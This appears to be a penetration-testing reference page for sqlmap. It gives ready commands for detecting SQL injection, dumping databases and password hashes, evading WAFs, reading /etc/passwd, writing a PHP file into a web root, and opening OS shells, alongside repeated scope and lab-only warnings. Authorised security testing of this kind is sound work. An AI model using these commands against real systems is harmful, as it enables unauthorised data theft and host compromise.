| Field | Detail |
|---|---|
| Summary | Detect and exploit SQL injection |
| Category | SQL injection |
| Phase | web-testing, exploitation |
| Interface | CLI |
| Platform | Linux, Windows, macOS |
| Licence | Open source (GPL) |
| Docs | https://github.com/sqlmapproject/sqlmap/wiki |
| Related | Burp Suite, ffuf and Gobuster |
Automated SQL-injection detection and exploitation. Finds injectable parameters, identifies the DBMS, then can enumerate and extract data. Powerful and noisy — understand the injection it reports before you trust it, and keep it strictly in scope.
⚠️ Warning — Destructive potential SQLMap writes to the target (tamper payloads, temp tables, optional file/OS access). Never point it at production or anything outside your authorised scope. Start low-risk (
--level/--riskdefault) and escalate deliberately.
Pointing it at a target
# GET parameter
sqlmap -u "http://10.10.10.5/item.php?id=1"
# Mark the injection point explicitly
sqlmap -u "http://10.10.10.5/item.php?id=1*"
# POST data
sqlmap -u "http://10.10.10.5/login" --data="user=admin&pass=test"
# Test only one parameter
sqlmap -u "http://.../item.php?id=1&cat=2" -p id
# From a saved request (best way — capture in Burp, right-click Save item)
sqlmap -r request.txt
sqlmap -r request.txt -p username
# Cookies / headers / auth
sqlmap -u "..." --cookie="PHPSESSID=abc; auth=1"
sqlmap -u "..." --headers="X-Forwarded-For: 127.0.0.1"
sqlmap -u "..." --auth-type=basic --auth-cred="user:pass"
💡 Tip — The reliable workflow is
-r request.txt: browse the app through Burp Suite, save the exact request (right-click → Copy to file / Save item), and hand it to SQLMap. No guessing cookies, CSRF tokens or content types.
Tuning the test
--level=1..5 # how many places/payloads to test (headers, cookies...) default 1
--risk=1..3 # payload riskiness (3 includes OR-based/time-heavy) default 1
--technique=BEUSTQ # B=boolean E=error U=union S=stacked T=time Q=inline; default all
--dbms=mysql # skip fingerprinting if you know it
--batch # take default answers, no prompts
--random-agent # rotate User-Agent
--tamper=space2comment,between # WAF-evasion scripts
--proxy=http://127.0.0.1:8080 # route through Burp to watch it work
--threads=4
--delay=1 --timeout=30 # go gentle on fragile targets
Enumeration (escalate step by step)
sqlmap -r req.txt --dbs # list databases
sqlmap -r req.txt -D shop --tables # tables in a DB
sqlmap -r req.txt -D shop -T users --columns # columns
sqlmap -r req.txt -D shop -T users --dump # dump a table
sqlmap -r req.txt -D shop -T users -C user,pass --dump # specific columns
sqlmap -r req.txt --dump-all # everything (heavy — rarely appropriate)
sqlmap -r req.txt --current-user --current-db --hostname
sqlmap -r req.txt --users --passwords # DBMS accounts + password hashes
sqlmap -r req.txt --is-dba # are we DB admin?
SQLMap auto-detects hashes on dump and offers a dictionary crack; for serious cracking export them to Hashcat/John instead.
Higher-impact options (scope permitting, lab only)
--sql-shell # interactive SQL prompt
--os-shell # attempt an OS command shell (needs stacked queries + privileges + writable path)
--file-read=/etc/passwd
--file-write=local.php --file-dest=/var/www/html/s.php
⚠️ Warning —
--os-shelland--file-writecan give you code execution on the host. That is a major escalation — only on machines you own in the lab, and document it.
Reading SQLMap's output
- It reports the injection type(s) found (boolean-blind, time-blind, error, UNION, stacked) and the payload — copy that payload and reproduce it manually in Burp Suite Repeater so you understand and can evidence the finding.
- Results and session are cached under
~/.local/share/sqlmap/output/<host>/— re-runs are fast and resumable.--flush-sessionto start clean. - A false "not injectable" often just means you need a higher
--level/--risk, the right--dbms, or a tamper script against a WAF.
More flags & tampers
| Flag | Purpose |
|---|---|
--batch |
Non-interactive (accept defaults) |
--crawl=2 --forms |
Spider the site and test discovered forms |
--random-agent |
Rotate User-Agent |
--threads 5 --delay 1 |
Speed vs stealth |
--technique=BEUSTQ |
Restrict techniques (Boolean/Error/Union/Stacked/Time/inline) |
--dbms=mysql --os=linux |
Skip fingerprinting when known |
--prefix/--suffix |
Wrap the injection for odd query contexts |
--flush-session |
Clear cached state and re-test cleanly |
--eval "..." |
Run Python each request (recompute a token/signature) |
--proxy http://127.0.0.1:8080 |
Route through Burp to watch it work |
Common WAF-evasion tampers (--tamper=): space2comment, between, randomcase, charencode, charunicodeencode, equaltolike, apostrophemask, modsecurityversioned, versionedkeywords.
sqlmap -r req.txt --batch --level 5 --risk 3 --random-agent \
--tamper=space2comment,between --proxy http://127.0.0.1:8080 --threads 5 --dump
Kill-chain usage
Web testing
sqlmap -r req.txt --batch # detect injectable parameters
Exploitation
sqlmap -r req.txt --dump # extract data (or --os-shell, lab)
Where it fits
ffuf and Gobuster finds parameters → test them manually in Burp Suite → when a parameter looks injectable, confirm and exploit with SQLMap via -r and --proxy → extract creds → crack offline. Always manually verify before reporting.